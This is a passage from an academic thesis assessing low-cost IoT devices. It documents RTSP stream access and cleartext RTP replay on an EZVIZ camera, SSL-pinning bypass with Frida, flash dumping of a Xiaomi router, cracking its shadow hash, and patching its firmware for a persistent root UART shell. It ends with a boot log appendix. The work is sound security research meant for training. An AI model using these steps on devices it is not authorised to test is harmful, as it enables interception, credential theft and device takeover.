server on the camera. When this option is activated, the device opens a streaming port
(default: 554) and accepts RTSP client connections using the common URL authentication
form. During testing, a functional stream was established with a standard RTSP client by
supplying the factory verification code (printed on the underside of the device, example:
PBMFKJ) when the device password had not been changed:

vlc rtsp://admin:PBMFKJ@10.23.147.60:554
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Objective and hypothesis. The experimental objective was to determine whether
media transport was protected by transport-layer encryption (e.g., SRTP) or whether RTP
payloads were delivered in cleartext on the local network. The working hypothesis was
that, if confidentiality were enforced for local streams, packet captures of RTP traffic would
exhibit encryption artifacts (for example, SRTP headers, authentication tags, or otherwise
opaque payloads). If true, mere possession of network access would not suffice to reconstruct
the video without the corresponding cryptographic keys.
Methodology and motivation. To test this hypothesis, a network packet capture was
recorded on the same LAN while the RTSP stream was active. The capture was converted
to an RTP-formatted dump using rtpdump in order to attempt offline reconstruction of the
media stream and to verify whether playback without keys was possible. The conversion
and replay steps were performed as follows:

rtpdump -F dump rtpcapture.pcapng > stream.rtp
vlc stream.rtp

This procedure was chosen to reproduce the realistic attack scenario in which an adversary
with network access and a copy of a passive capture attempts to reconstruct the video
stream without interacting with the camera or obtaining session keys.
Observed behaviour and analysis. The RTP dump replayed successfully in the RTSP
client, producing a clear H.264 video stream. The packet capture did not reveal the
factory verification code (PBMFKJ) in cleartext; the username (admin) appeared but the
verification code itself was not observed in plaintext within the capture. Crucially, the
media payloads were not protected by SRTP or any other transport-layer encryption —
RTP packets carrying H.264 NAL units were present and were reconstructable without
additional cryptographic material.

This empirical result falsified the initial confidentiality hypothesis. Although the RTSP
session required authentication and the device uses a verification code as a gating mechanism
for client connection, the media transport itself was delivered in plaintext on the LAN.
Consequently, an adversary with the ability to capture local traffic or to place a host on
the same network segment can reconstruct and view the video stream from the captured
RTP without needing access to the camera’s authentication secret. The authentication step
therefore provides access control at session setup but does not ensure confidentiality of the
media path in the observed configuration.
Conclusion. The analysis demonstrates that enabling RTSP on the device exposes media
that is reconstructable from passive network captures. From a security perspective, this
behaviour gives a false sense of security: confidentiality cannot be assumed merely because
an authentication mechanism is present at session establishment. The mobile application’s
own warning that enabling RTSP "may pose security risks" is consistent with these findings:
enabling the RTSP server exposes plaintext media to any network adversary capable of
capturing or intercepting LAN traffic.

5.2.10 Application Architecture and Native Components
This subsection collects findings on package layout, native libraries, and component respon-
sibilities. The investigation was motivated by the hypothesis that sensitive cryptographic
operations — such as key exchange and media encryption — are delegated to native code
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for performance and obfuscation, thereby requiring targeted dynamic analysis to observe
their runtime behavior.

Installed package layout and native libraries

The installed Android package employs App Bundles with split APKs. The deployment
structure was obtained via ADB to establish the location of native components:

adb shell pm path com.ezviz
package:/data/app/.../com.ezviz-.../base.apk
package:/data/app/.../com.ezviz-.../split_config.arm64_v8a.apk
package:/data/app/.../com.ezviz-.../split_ezviz_assets.apk

The split_config.arm64_v8a.apk contains the majority of native libraries responsible
for core functionality. A detailed inspection of the native split indicates the presence of sev-
eral shared libraries (.so files) that collectively implement the majority of the application’s
low-level functionality. Among the most significant are the Hikvision networking stack
(libhcnetsdk.so), which handles device discovery, control operations, and video streaming,
and a set of encryption-related modules such as libHCCore.so, libencryptprotect.so,
and libCSSLTrans.so, which are responsible for data protection, transport-layer security,
and key management routines.

Other libraries, including libsadp.so and libstreamConfig.so, appear to manage local
network discovery (via multicast) and negotiate streaming parameters such as resolution
and encoding profiles. Custom cryptographic components are also present — namely
libsslPrivate.so and libcryptoPrivate.so, which indicate a private OpenSSL build
integrated into the native SDK, and libSecretKey.so, which contains embedded AES and
RSA constants observed through static analysis.

Execution traces collected from logcat during LAN device discov-
ery show that the Java layer primarily serves as a thin interface: ac-
tivities such as com.videogo.add.landevice.LanDeviceListActivity and
com.videogo.add.landevice.LanManualAddDeviceActivity delegate most opera-
tions to the native layer through JNI bindings. Once a camera is selected, the transition to
com.videogo.playerrouter.EzvizPlayActivity triggers the immediate loading of the
streaming libraries, leading to the exchange of capability information with the device —
returned as an XML structure that defines supported resolutions, codecs, and frame rates.

Although static inspection of libSecretKey.so suggests the presence of hard-coded
cryptographic material, dynamic observation indicates that these constants are not invoked
during runtime sessions. Instead, encryption primitives are instantiated on demand within
libhcnetsdk.so and related modules. This finding highlights the importance of combining
static and dynamic analyses: the presence of cryptographic data in binary code does not
necessarily imply its active use during operation.

Dynamic Analysis of Cryptographic Operations via Frida

To investigate the use of cryptographic primitives within the application, Frida instrumen-
tation was performed on a rooted device (Xiaomi Redmi Note 7, SELinux permissive so
permits Frida attaching). The analysis targeted native libraries that potentially implement
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encryption routines, with the initial hypothesis that media confidentiality might be enforced
through AES operations on RTP payloads after session setup. Two operational contexts
were considered: LAN streaming and cloud-mediated streaming.

The following command was used to trace relevant function calls:

frida-trace -U -n EZVIZ -I "libHCCore.so" -I "libHCCoreDevCfg.so" -I
"libcryptoPrivate.so" -I "libsslPrivate.so" -I "libhcnetsdk.so" -I
"libSecretKey.so" -I "libencryptprotect.so" -I "libhpr.so" -I
"libmbedtls.so" -I "libsadp.so"

ñ→

ñ→

ñ→

Methodology and motivation. Frida traces were collected while initiating streaming
sessions and during sustained receive activity in order to capture both control- and data-
path cryptographic calls. The objective was to identify any symmetric-key operations
applied to media at the application layer that would not be visible in transport-layer
traces alone. Observing such operations would explain scenarios in which passive captures
of transport-layer traffic are insufficient to reconstruct plaintext media despite apparent
absence of SRTP on the LAN.
Observed behaviour. Frida traces consistently recorded TLS/session receive activ-
ity (e.g. SSL_read, SSL_pending, SSL_want, CLinkTCPSSL::GetSSLTransInterface(),
NetSDK::DoRecvForRealRecv()); these entries correspond to an active TLS channel (no-
tably on port 8443) and repeated network-buffer management. Offline analysis of TLS-
decrypted captures produced video-like blobs that were not directly playable as standard
H.264.
Interpretation. The mismatch between unobstructed TLS traces and non-replayable
decrypted blobs suggests additional protection or transformation at or above the application
layer (for example, proprietary obfuscation or application-level encryption). Static inspection
revealed AES-related routines in the binaries, although their execution on the media path
was not observed in the current traces.
Conclusion and next steps. Targeted hooking of the identified AES routines, expanded
dynamic tracing (including firmware-side libraries), and static/dynamic correlation of
function addresses to runtime data flows are required to determine whether media are
protected by application-layer cryptography or a proprietary format.

5.2.11 Cloud Communications and SSL Pinning
SSL pinning bypass for cloud traffic inspection

The application enforces certificate pinning for connections to the vendor domain space (for
example, *.ezvizlife.com), preventing ordinary proxy interception. To permit analysis,
dynamic pinning-bypass techniques were applied using Frida (on a rooted Xiaomi Redmi
Note 7 with permissive SELinux which allowed Frida attaching) and community scripts.
Representative invocations used during testing included:
frida -U -n EZVIZ --codeshare akabe1/frida-multiple-unpinning
frida -U -n EZVIZ --codeshare sowdust/universal-android-ssl-pinning-bypass-2

Both approaches effectively neutralised the common pinning checks observed in the applica-
tion (for example, TrustManager and typical OkHttp v3 hooks), thereby permitting full
TLS interception with PCAPDroid (TLS-MITM addon) for subsequent traffic analysis.
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Decrypted cloud traffic observations

With pinning disabled and TLS interception in place, cloud login and session behaviour
were inspected across multiple sessions to verify consistency. Representative findings follow.

Observed request format. An example observed POST request to the login endpoint
took the form (password hash truncated and author’s email obfuscated for privacy):

POST /api/v3/users/loginV2 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

account=MYMAIL@BUTIWONTSHAREIT.COM
&password=FeEZGtZN4I9LYf2NsZg0HkqqFjUv7SUeXlKw4NM7leJUC/.../U38jL9
&rootFlag=1

The password field is not transmitted as a plaintext password; instead it appears as an
encoded or hashed blob (the captured form value is reproduced above in truncated form for
analysis).

Key findings.

• Credentials: Password material is not sent in cleartext; the observed form value is
an opaque, encoded/hash-like blob rather than a human-readable password string.

• Telemetry: Each login transmits extensive device and environment metadata, includ-
ing mobile operator, device model and Android version, connectivity type (Wi-Fi vs.
cellular), and a root-status flag (for example, rootFlag=1). Such telemetry has clear
privacy implications.

• Session and identity: The server-issued session identifier remains largely stable
across repeated sessions when not explicitly invalidated. A persistent user identifier
was observed across sessions. The application also receives the historical login list
(other device logins) including IP addresses and timestamps.

• Connectivity: STUN binding requests were observed, consistent with attempts to
establish P2P tunnels for media when network conditions permit; a relay/fallback
mechanism is used otherwise.

• Cloud media protection: The application indicates that cloud-delivered video must
be “unlocked” using the device password (or verification code). Cloud media therefore
appears to be protected at the application layer such that decrypted TLS payloads do
not yield directly playable video without the unlocking step.

Implications. Cloud channels enforce certificate pinning and transmit credentials as an
opaque, non-plaintext blob. Cloud video additionally requires an application-level "unlock"
using the password or verification code, indicating protection beyond TLS — assuming the
vendor does not possess the camera password or verification code, though this cannot be
confirmed. The application also transmits extensive telemetry (device, network, root status,
login history), raising some privacy concerns.
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5.3 Mi Router 4C
The Mi Router 4C, a budget-oriented embedded device, operates on a customized variant
of OpenWrt. The investigation detailed herein addresses hardware characterization, UART
interface activation (initially suppressed by firmware configuration), SPI NOR flash ex-
traction with rigorous integrity validation, structural decomposition of the firmware image
using binwalk, and the establishment of a persistent root shell through precise alterations
to the JFFS2 overlay that stores NVRAM parameters. Special attention is devoted to
resolving the challenge of environment variable persistence across reboots, elucidating the
indispensable diagnostic role of the UART interface at the hardware level.

5.3.1 Storage and Hardware Identification

Figure 5.7. Mi Router 4C PCB

Accurate identification of the non-volatile storage component was recognized as a prerequisite
for any subsequent programming activity. This step was motivated by the need to ensure
compatibility with programming tools. Visual inspection of the integrated circuit revealed
the markings GigaDevice 25Q127CSIG UF5275 AJ2106. Cross-referencing these identifiers
with the manufacturer’s datasheet confirmed the device as a 16 MB (128 Mbit) SPI NOR
flash [12]. This provides the necessary parameters for tool configuration for dumping
operations. In particular, it influences the configuration of the CH341A programmer, where
chip identifiers such as GD25Q127C or the functionally equivalent GD25Q128C were employed
(5.7).
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5.3.2 UART and Boot Log
UART Interface and Initial Access

Access to the UART interface was pursued to acquire comprehensive boot-time logs and
enable direct runtime interaction with the embedded system for diagnostic or modification
purposes, and to identify configuration parameters and potential points of intervention.
The hypothesis posited that a standard UART header would be present and functional,
albeit possibly disabled post-boot, and that empirical baud rate testing would yield a stable
connection.

The presence of a clearly labeled (VCC, RC, GND, TX) on the printed circuit board
significantly simplified physical UART connectivity; standard jumper wires were sufficient to
interface the header pins with a USB-to-TTL serial adapter. The baud rate was empirically
determined through iterative trials, with real-time observation in a serial terminal application
confirming stable communication at 115200 bps, probably the most common value in UART
for embedded systems.

The problem with UART connection is that console does not accept any input: after
power-on, the console outputs boot log but keyboard input is ignored. The hypothesis
formed was that the UART interface is disabled by a firmware configuration parameter after
boot, preventing interactive access despite physical connectivity. This was later confirmed
through boot log analysis, which revealed a kernel command-line parameter explicitly
disabling UART functionality post-boot.

Boot Log Analysis

An examination of the boot log was conducted to map the initialization timeline, identify
key configuration sources, and establish a basis for subsequent interventions. The full log
can be seen in the Appendix C and spans from U-Boot execution through kernel startup,
filesystem mounting, and userspace service initialization. The analysis aimed to map the
boot sequence and identify key sources of configuration and persistent storage.

The log begins with low-level hardware initialization in U-Boot:

U-Boot 1.1.3 (Aug 14 2020 - 12:28:08)
Board: Ralink APSoC DRAM: 64 MB
Power on memory test. Memory size= 64 MB...OK!
flash manufacture id: c8, device id 40 18
find flash: GD25Q128C
env is right!

This segment confirmed the flash chip identity (GigaDevice GD25Q128C, 16 MB),
validated DRAM functionality, and indicated that the U-Boot environment was loaded
successfully: the presence of env is right! suggested that environment variables are
stored in a dedicated flash region and maybe subject to integrity checks.

U-Boot then presents a boot menu and proceeds to load the kernel image from flash
offset 0xbc160000, identified as:

Image Name: MIPS OpenWrt Linux-3.10.14
Data Size: 1436818 Bytes = 1.4 MB

The Linux kernel initializes with:
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[ 0.000000] Linux version 3.10.14 ... #1 MiWiFi-R4CM-3.0.23 Fri Aug 14 12:35:14
UTC 2020ñ→

[ 0.000000] The CPU feqenuce set to 575 MHz
[ 0.000000] CPU0 revision is: 00019655 (MIPS 24KEc)

At this stage, the kernel command line is parsed from U-Boot’s boot arguments:

[ 0.000000] Kernel command line: console=ttyS1,115200n8 uart_en=0 factory_mode=0
,->
mem=64m root=/dev/mtdblock8

The parameter uart_en=0 was interpreted as an explicit firmware-imposed disablement
of the UART console following the boot sequence, thereby accounting for the observed lack
of an interactive shell despite verified hardware connectivity. The hypothesis was formulated
that altering this flag to uart_en=1 within a persistent configuration store would restore
durable console access across reboots.

The kernel reports 64 MB total RAM, with 60.492 MB available after reservations.
Partitioning of the MTD flash is logged as follows:

[ 1.510000] Creating 9 MTD partitions on "raspi":
[ 1.520000] 0x000000000000-0x000001000000 : "ALL"
[ 1.520000] 0x000000000000-0x000000020000 : "Bootloader"
[ 1.530000] 0x000000020000-0x000000030000 : "Config"
[ 1.540000] 0x000000030000-0x000000040000 : "Factory"
[ 1.540000] 0x000000040000-0x000000050000 : "crash"
[ 1.550000] 0x000000050000-0x000000060000 : "cfg_bak"
[ 1.560000] 0x000000060000-0x000000160000 : "overlay"
[ 1.560000] 0x000000160000-0x000000dc0000 : "OS1"

5.3.3 Network Service Enumeration
Enumeration of open network ports was performed inside LAN using nmap to delineate
potential remote attack surfaces and to verify alignment with expected service profiles for
an OpenWrt-derived router firmware:

$ nmap 192.168.1.1
PORT STATE SERVICE
80/tcp open http

This minimal exposure is by design in OpenWrt: only essential services are enabled
by default, and remote access is restricted to the web interface. No SSH, Telnet, or other
common attack vectors are exposed, confirming a potentially lower attack surface.

5.3.4 Flash Dump and Analysis
Flash Dumping and Verification

A dependable flash image was required as the baseline for all static analysis and modification.
To ensure accuracy, multiple dumps were performed using the CH341A programmer with
repositioned SOIC-8 clips, verifying convergence on identical hashes. An initial read
confirmed chip recognition.
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sudo flashrom -VV -p ch341a_spi -c GD25Q127C/GD25Q128C -r flashdump.bin
--progressñ→

Status registers indicated that block protection mechanisms were inactive, and no write-
in-progress or write-enable latch issues were encountered.To further bolster confidence
in data integrity, the test clip was deliberately repositioned between successive dumps;
consistent SHA-256 hashes across all attempts conclusively eliminated concerns over partial
or corrupted reads. This outcome validated the hypothesis, yielding a trustworthy image
that enabled confident progression to structural analysis.

Firmware Structure Analysis with Binwalk

A detailed binwalk analysis of the firmware dump revealed a multilayered flash layout,
consistent with the partitioning observed during kernel initialization. The binary includes
the U-Boot bootloader, a LZMA-compressed Linux kernel image, and multiple filesystem
regions — notably a dense cluster of JFFS2 nodes corresponding to the overlay partition.

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
102816 0x191A0 U-Boot version string: "U-Boot 1.1.3 (Aug 14

2020)"ñ→

1441792 0x160000 uImage: MIPS OpenWrt Linux-3.10.14
1441856 0x160040 LZMA compressed kernel data
2883584 0x2C0000 Squashfs filesystem, xz-compressed, created:

2020-08-14ñ→

398428 0x6145C JFFS2 filesystem, little endian
604000-1440000 [Dense cluster of interleaved JFFS2 and Zlib

blocks]ñ→

1500000 0x16E360 End of overlay region

The JFFS2 blocks appear highly fragmented, distributed across the region
0x060000-0x160000, which aligns with the overlay partition identified in the kernel
log:

[ 1.560000] 0x000000060000-0x000000160000 : "overlay"

Inspecting binwalk extraction files suggests that the device maintains its persistent
configuration data within the overlay partition. The presence of multiple JFFS2 headers
interleaved with compressed Zlib fragments suggests — although it cannot be stated with
certainty — that the device may use several concatenated or segmented JFFS2 volumes
rather than a single linear one.

Post-Configuration Dump and Shadow File

To illustrate realistic attack vectors involving the exfiltration of user-configured credentials,
a secondary flash dump was acquired after deliberate interaction with the device’s web
management interface. The motivation was to demonstrate how configuration changes
persist in non-volatile storage, testing the hypothesis that sensitive data like password
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hashes would be recoverable offline. Configuration parameters were set, for example, Wi-Fi
and administrator password was set to testlab!.

The post-configuration dump was extracted using the CH341A programmer with the
same verified procedure as the initial dump. The JFFS2 overlay partition (mtdblock6)
was isolated and mounted, revealing the updated /etc/shadow file. The root user entry
contained a salted MD5 hash in standard Unix format:

root:$1$dt51WYAP$oqohTsWg/1oVG1Xs.N.qe0:16205:0:99999:7:::

The full hash string was supplied to hashcat using mode 500 (md5crypt), and password
testlab! was indeed found.

Firmware Identification

Confirmation of the underlying operating system was essential for informed selection of
analysis tools (e.g., Squashfs and JFFS2 utilities) and for comprehending mechanisms gov-
erning configuration persistence. The motivation was to contextualize the device’s software
architecture, hypothesizing an OpenWrt base common in low-cost routers. Inspection of
the file /etc/openwrt_release produced:

DISTRIB_ID="OpenWrt"
DISTRIB_RELEASE="Attitude Adjustment"
DISTRIB_REVISION="unknown"
DISTRIB_CODENAME="attitude_adjustment"
DISTRIB_TARGET="ramips/mt7628"
DISTRIB_DESCRIPTION="OpenWrt Attitude Adjustment 12.09.1"

This aged OpenWrt branch is frequently encountered in cost-sensitive router designs.
Extraction of the Squashfs root filesystem revealed a standard OpenWrt layout, including
configuration files in /etc/config (e.g., network, wireless, firewall), init scripts in
/etc/init.d (e.g., network, firewall, dnsmasq), and modules in /lib/modules.

Available Binaries and System Inspection

Cataloging of executable binaries and the PATH environment variable was performed to
inform potential privilege escalation pathways and to characterize the system’s functional
scope. The motivation was to map available tools for further exploration, hypothesizing a
BusyBox core augmented by vendor specifics.

The extracted filesystem revealed a comprehensive set of utilities. Key binaries in
/bin include multi-call busybox (providing core commands like ash, cat, cp), ated for
antenna testing, and Xiaomi-specific tools like flash.sh and mkxqimage. In /sbin, system
management tools predominate: netifd for network interfaces, uci for configuration, wifi
for wireless control, and proprietary daemons such as miqosd (QoS), trafficd (traffic
monitoring), and xqbc (Xiaomi backend communication). The /usr/bin directory contains
advanced utilities like iperf for bandwidth testing, curl for HTTP requests, luci-bwc
for bandwidth charts, and messagingagent for push notifications. Similarly, /usr/sbin
hosts numerous services: dnsmasq for DNS/DHCP, uhttpd as the web server, miqosd for
QoS enforcement, and specialized scripts like controller.lua and speed_test.lua. This
inventory aligned with expectations, revealing opportunities for system manipulation and
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confirming the device’s reliance on OpenWrt with extensive Xiaomi customizations for
features like smart home integration and traffic management.

5.3.5 Enabling UART
Utility of Root UART Shell

A root shell delivered over UART transcends mere firmware flashing; it furnishes direct,
network-independent control over hardware subsystems, rendering it useful for forensic
analysis, or recovery from compromised services.

Although remote root access (e.g., via SSH) is operationally preferable under normal
conditions, UART constitutes the ultimate fallback when network stacks are disabled,
corrupted, or otherwise unavailable.

Enabling UART via U-Boot Environment Modification

Direct patching of uart_en=1 in the Config partition and default environment (within
Bootloader partition), thanks to the CH341A programmer, enabled UART only on first
boot. U-Boot reported:

*******env is corrupted,use default_environment!*********
*** Warning - bad CRC, using default environment

[ 6.350000] nvram loss recovery nvram corrupt
Erasing SPI Flash... offs:20000 len:10000
Writing to SPI Flash...

U-Boot detects CRC mismatch in the Config partition and overwrites it with a factory
backup.

binwalk -eM extraction revealed uart_en in three locations: two instances that are the
same of the previous manual edits (Config + Bootloader); one "authoritative instance" in
etc/config/nvram.txt within the JFFS2 overlay partition.

This file is the runtime NVRAM source used by the system after boot.

JFFS2 Overlay Extraction and Repacking

The overlay partition (/dev/mtdblock6, 1 MiB, offset 0x060000) contains a JFFS2 filesys-
tem with compressed data segments, typical of log-structured filesystems on SPI-NOR
flash. Due to the log-structured nature of JFFS2 and the presence of nodes that may be
scattered across multiple erase blocks, attempting to extract individual files directly using
dd or jefferson is unreliable, as the data for a single file may be non-contiguous within
the partition.

A complete overlay image was therefore extracted as follows:

dd if=flashdump.bin of=overlay.bin skip=393216 count=1048576 bs=1

After modifying jffs2-root/etc/config/nvram.txt to set uart_en=1, the overlay
was rebuilt using parameters consistent with the GD25Q127 SPI-NOR geometry (erase
block size 0x10000, page size 0x100):
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mkfs.jffs2 -r jffs2-root/ -o overlaymodifiedpartition.bin -e 0x10000 -s 0x100 -l
truncate -s 1048576 overlaymodifiedpartition.bin

The truncate operation ensures alignment of the rebuilt overlay to the original partition
size (1 MiB), preventing misalignment with subsequent partitions during reflashing.

The full firmware was reassembled by concatenating the preserved bootloader and kernel
segments with the repacked overlay. The first command extracts all partitions before the
overlay partition, and the second command extracts the kernel and root filesystem (OS1)
after the overlay. The final command concatenates these segments with the modified overlay
(which is in the middle) to produce patchedfirwmare.bin:

dd if=original.bin of=head.bin count=393216 bs=1
dd if=original.bin of=tail.bin skip=1441792 bs=1
cat head.bin overlaymodifiedpartition.bin tail.bin > patchedfirwmare.bin

Flashing patchedfirwmare.bin via a CH341A programmer successfully restored a
persistent UART root shell. Verification with nvram show confirmed that uart_en=1 was
correctly retained after reboot.

It is worth noting that during transient UART access at first boot, the same persistence
could have been achieved in software by executing:

nvram set uart_en=1 && nvram commit

The nvram commit command writes directly to the JFFS2-based overlay, updating
/etc/config/nvram.txt. This behavior demonstrates that the JFFS2 overlay acts as the
canonical, persistent NVRAM authority, superseding the U-Boot environment whenever
corruption or CRC mismatch occurs in the Config partition.

5.3.6 UART Echo-Back Timing
Timing when UART becomes responsive

Determination of the precise boot stage at which UART echo-back becomes responsive
was undertaken to optimize bootloader interruption or automated exploitation scripts.
The motivation was to pinpoint interactive windows, hypothesizing post-rootfs mount
responsiveness. Echo-back functionality initializes immediately following:

[ 1.790000] VFS: Mounted root (squashfs filesystem) readonly on device 31:8.
[ 1.800000] Freeing unused kernel memory: 208K

Input transmitted prior to this juncture is discarded. Subsequent execution proceeds to
preinit scripts located in /lib/preinit.sh.

Reverse Engineering /sbin/init

Disassembly and analysis of the /sbin/init binary were conducted using Ghidra, which
automatically identified the file as a 32-bit MIPS little-endian ELF executable. The moti-
vation was to trace preinit invocation, hypothesizing userspace delegation. No base address
relocation was required — differently from raw binary analysis workflows. String extraction
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revealed no direct reference to /lib/preinit.sh; this absence suggested integration within
the kernel’s initramfs archive. Decompression of the LZMA-compressed kernel image ex-
posed plaintext strings, confirming that preinit orchestration is managed at the kernel level
rather than by the userspace init process.

5.3.7 Possible Weaknesses and Runtime Analysis
Due to time restrictions, a comprehensive evaluation of potential vulnerabilities was not
feasible. Nevertheless, the following observations can be derived from the conducted testing.

The device operates on a legacy software stack based on OpenWrt "Attitude Adjustment"
(12.09.1) and Linux kernel 3.10.14. Beyond the theoretical risks associated with unpatched
kernel vulnerabilities (such as CVE-2016-5195), runtime analysis highlighted dangerous
weaknesses in the userspace configuration.

Obsolescence of Core Components The system relies on userspace components that
reached end-of-life years ago. The boot logs confirm BusyBox v1.19.4 (released in 2012),
which suffers from multiple known vulnerabilities. The kernel version 3.10.14 lacks modern
security patches, creating a foundational risk for local privilege escalation.

Systematic Lack of Privilege Separation Runtime inspection via UART confirmed
that the principle of least privilege is violated. Critical network-facing services execute with
root privileges. Notably, the dnsmasq daemon is explicitly invoked with the –user=root
flag, overriding default security behaviors. Furthermore, the proprietary web server stack (a
modified Nginx labeled as sysapihttpd) and the CGI gateway (fcgi-cgi) operate as root.
root@XiaoQiang:/# ps | grep -E "dnsmasq|sysapihttpd|fcgi"
1386 root 2672 S < /usr/bin/fcgi-cgi -c 4
1524 root 1340 S /usr/sbin/dnsmasq --user=root ...
1854 root 7812 S {sysapihttpd} nginx: master process

Web Interface and Command Injection Risks The administrative interface, accessible
via /cgi-bin/luci and the Xiaomi proprietary API, relies on the legacy Lua-based LuCI
framework handled by ‘fcgi-cgi‘. Given that these processes run as root, any vulnerability in
input sanitization (Command Injection) — a flaw historically documented in this firmware
family (e.g., CVE-2018-13023) — would result in immediate, full system compromise.

Presence of Living-off-the-Land (LotL) Binaries The firmware filesystem includes
standard utilities that facilitate post-exploitation. The presence of netcat (nc), curl, and
wget in /usr/bin allows attackers to establish reverse shells or exfiltrate data without
uploading external malware.
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Chapter 6

Conclusions

6.1 Summary of Findings
This thesis has presented a comprehensive security assessment of low-cost IoT devices,
with the dual objective of identifying common vulnerabilities in consumer-grade embedded
systems and producing educational artefacts for hardware security training. The security
evaluation revealed that the majority of these devices exhibited multiple recurring security
issues, which, due to their role as essential components in both residential network systems
and vital infrastructure systems, pose significant threats.

A range of common vulnerabilities have been identified, including unprotected debug in-
terfaces, weak authentication mechanisms, absence of secure boot implementations, presence
of insecure or outdated firmware components, and unencrypted network communications.
The system vulnerabilities generate a multitude of attack pathways, encompassing unau-
thorised device access, firmware manipulation, data interception, and potential backdoor
insertion. The documented exploitation methods illustrate genuine attack techniques,
thereby demonstrating how these security vulnerabilities can lead to hazardous outcomes.
These models are applied in real-world scenarios.

The research goes beyond vulnerability detection to address a fundamental educational
obstacle that prevents the spread of knowledge about hardware security. The evalua-
tion process yielded a variety of artefacts, such as firmware images, file system dumps,
network packet captures, PCB photographs, configuration files, exploitation steps, and
documentation of attack methodologies. These materials will be instrumental in developing
user-friendly training systems. This environment, to be implemented as a Capture the
Flag (CTF) platform or cyber range, is designed to train newcomers in hardware security
without requiring physical equipment or extensive expertise. The objective is to provide a
visually realistic and instrumentally authentic experience that offers meaningful exposure to
hardware security concepts while maintaining an approachable learning curve. The primary
objective of this initiative is to facilitate the accessibility of hardware security evaluation
for novices by offering an introductory course, with the intention of cultivating interest in
pursuing further studies. It is recognized that the development of practical proficiency in
hardware security is contingent upon physical engagement with the relevant devices.
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6.2 Future Work
The work described in this thesis represents an ongoing effort within the broader context of
the ARTIC Project under Spoke 4 of Fondazione SERICS. Future research will expand the
collection of security artefacts through further device assessments, vulnerability discoveries,
and exploitation documentation. The repository of artifacts will continue to expand. This
will facilitate the creation of more complete training scenarios with greater variety.

The subsequent phase of this initiative will involve the implementation of the aforemen-
tioned interactive CTF platform that leverages all the collected artefacts. The platform will
provide students with a dedicated space in which to learn about hardware security through
practical experience with interface identification, firmware analysis, and vulnerability ex-
ploitation, based on research data and methods. The objective of the project is, by making
these hands-on experiences more accessible and approachable, to broaden participation in
hardware security and lower the barriers that currently limit entry into this critical field.
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Full TP-Link Router Bootlog

The following is the complete boot sequence captured via UART during power-on of the
TP-Link WR841N (hardware revision 11).

U-Boot 1.1.4 (Jun 16 2015 - 14:12:19)

ap143-2.0 - Honey Bee 2.0

DRAM: 32 MB
Flash Manuf Id 0xef, DeviceId0 0x40, DeviceId1 0x16
flash size 4MB, sector count = 64
Flash: 4 MB
Using default environment

In: serial
Out: serial
Err: serial
Net: ath_gmac_enet_initialize...
ath_gmac_enet_initialize: reset mask:c02200
Scorpion ---->S27 PHY*
S27 reg init
: cfg1 0x800c0000 cfg2 0x7114
eth0: ba:be:fa:ce:08:41
athrs27_phy_setup ATHR_PHY_CONTROL 4 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10
eth0 up
Honey Bee ----> MAC 1 S27 PHY *
S27 reg init
ATHRS27: resetting s27
ATHRS27: s27 reset done
: cfg1 0x800c0000 cfg2 0x7214
eth1: ba:be:fa:ce:08:41
athrs27_phy_setup ATHR_PHY_CONTROL 0 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 0 :10
athrs27_phy_setup ATHR_PHY_CONTROL 1 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 1 :10
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athrs27_phy_setup ATHR_PHY_CONTROL 2 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 2 :10
athrs27_phy_setup ATHR_PHY_CONTROL 3 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 3 :10
eth1 up
eth0, eth1
Setting 0x181162c0 to 0x60c1a100
is_auto_upload_firmware=0
Autobooting in 1 seconds
## Booting image at 9f020000 ...

Uncompressing Kernel Image ... OK

Starting kernel ...

Booting QCA953x

Linux version 2.6.31 (tomcat@buildserver) (gcc version 4.3.3 (GCC) ) #61 Tue Jun
16 14:17:33 CST 2015ñ→

Ram size passed from bootloader =32M
flash_size passed from bootloader = 4
CPU revision is: 00019374 (MIPS 24Kc)
ath_sys_frequency: cpu apb ddr apb cpu 650 ddr 393 ahb 216
Determined physical RAM map:
memory: 02000000 @ 00000000 (usable)

Zone PFN ranges:
Normal 0x00000000 -> 0x00002000

Movable zone start PFN for each node
early_node_map[1] active PFN ranges

0: 0x00000000 -> 0x00002000
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 8128
Kernel command line: console=ttyS0,115200 root=31:2 rootfstype=squashfs

init=/sbin/init
mtdparts=ath-nor0:128k(u-boot),1024k(kernel),2816k(rootfs),64k(config),64k(art)
mem=32M

ñ→

ñ→

ñ→

PID hash table entries: 128 (order: 7, 512 bytes)
Dentry cache hash table entries: 4096 (order: 2, 16384 bytes)
Inode-cache hash table entries: 2048 (order: 1, 8192 bytes)
Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes
Writing ErrCtl register=00000000
Readback ErrCtl register=00000000
Memory: 25844k/32768k available (1868k kernel code, 6924k reserved, 448k data,

120k init, 0k highmem)ñ→

NR_IRQS:128
plat_time_init: plat time init done
Calibrating delay loop... 433.15 BogoMIPS (lpj=866304)
Mount-cache hash table entries: 512

****************ALLOC***********************
Packet mem: 80275420 (0x400000 bytes)

********************************************
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NET: Registered protocol family 16
ath_pcibios_init: bus 0
***** Warning PCIe 0 H/W not found !!!
registering PCI controller with io_map_base unset
bio: create slab <bio-0> at 0
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
net_link: create socket ok.
TCP established hash table entries: 1024 (order: 1, 8192 bytes)
TCP bind hash table entries: 1024 (order: 0, 4096 bytes)
TCP: Hash tables configured (established 1024 bind 1024)
TCP reno registered
NET: Registered protocol family 1
ATH GPIOC major 0
squashfs: version 4.0 (2009/01/31) Phillip Lougher
msgmni has been set to 50
io scheduler noop registered
io scheduler deadline registered (default)
Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled
serial8250.0: ttyS0 at MMIO 0xb8020000 (irq = 19) is a 16550A
console [ttyS0] enabled
PPP generic driver version 2.4.2
NET: Registered protocol family 24
5 cmdlinepart partitions found on MTD device ath-nor0
Creating 5 MTD partitions on "ath-nor0":
0x000000000000-0x000000020000 : "u-boot"
0x000000020000-0x000000120000 : "kernel"
0x000000120000-0x0000003e0000 : "rootfs"
0x0000003e0000-0x0000003f0000 : "config"
